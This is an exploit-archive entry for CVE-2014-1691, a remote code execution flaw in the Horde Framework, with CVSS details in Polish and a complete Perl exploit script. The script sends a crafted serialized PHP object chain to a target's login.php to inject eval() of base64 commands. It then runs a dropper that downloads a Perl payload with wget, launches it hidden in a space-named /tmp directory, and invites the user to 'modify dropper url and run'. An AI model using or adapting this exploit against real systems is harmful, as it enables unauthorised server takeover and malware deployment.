Horde Framework Unserialize PHP Code Execution Standalone Exploit

2014-06-29 / 2014-06-30
Credit: irrlicht
Risk: High
Local: No
Remote: Yes
CWE: CWE-94


Ogólna skala CVSS: 7.5/10
Znaczenie: 6.4/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Częściowy
Wpływ na integralność: Częściowy
Wpływ na dostępność: Częściowy

#ported from metasploit by irrlicht #june 2014 #modify dropper url and run #CVE-2014-1691 use strict; use warnings; use LWP::UserAgent; use WWW::Mechanize; use MIME::Base64; if (!$ARGV[0]) { print "specify full login.php url\n"; exit; } my $dropper = 'system("mkdir /tmp/\\" \\"; cd /tmp/\\" \\"; wget -O deploy.pl http://0.0.0.0/deploy.pl; nohup perl deploy.pl > /dev/null 2>&1 &");'; my $command = encode_base64($dropper . "echo \"999999999\"; echo \"EXPLOITED\"; system(\"ps aux; ls -la /tmp/\\\" \\\"\"); echo \"999999999\";", ""); my $loginpath = $ARGV[0]; my $php_injection = "eval(base64_decode(\$_SERVER[HTTP_CMD]));die();"; my $payload_serialized = "_formvars=O:34:\"Horde_Kolab_Server_Decorator_Clean\":2:{s:43:\"\x00Horde_Kolab_Server_Decorator_Clean\x00_server\";"; $payload_serialized .= "O:20:\"Horde_Prefs_Identity\":2:{s:9:\"\x00*\x00_prefs\";O:11:\"Horde_Prefs\":2:{s:8:\"\x00*\x00_opts\";a:1:{s:12:\"sizecallback\";"; $payload_serialized .= "a:2:{i:0;O:12:\"Horde_Config\":1:{s:13:\"\x00*\x00_oldConfig\";s:". length($php_injection) .":\"$php_injection\";}i:1;s:13:\"readXMLConfig\";}}"; $payload_serialized .= "s:10:\"\x00*\x00_scopes\";a:1:{s:5:\"horde\";O:17:\"Horde_Prefs_Scope\":1:{s:9:\"\x00*\x00_prefs\";a:1:{i:0;i:1;}}}}"; $payload_serialized .= "s:13:\"\x00*\x00_prefnames\";a:1:{s:10:\"identities\";i:0;}}s:42:\"\x00Horde_Kolab_Server_Decorator_Clean\x00_added\";a:1:{i:0;i:1;}}"; $|=1; my $ua = new LWP::UserAgent(ssl_opts => { verify_hostname => 0 }); $ua->timeout(3); $ua->agent("Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13"); my $request; $request = new HTTP::Request(POST => $loginpath); $request->header('CMD' => $command); $request->header('Content-Type' => "application/x-www-form-urlencoded"); $request->content($payload_serialized); my $mech = WWW::Mechanize->new(timeout => 3, ssl_opts => { verify_hostname => 0 }); my $response = $mech->request($request); my $code = $response->code; my $body = $response->decoded_content; print $response->code."\n"; #print $body."\n"; if ($body =~ /999999999/) { print $body."\n"; }


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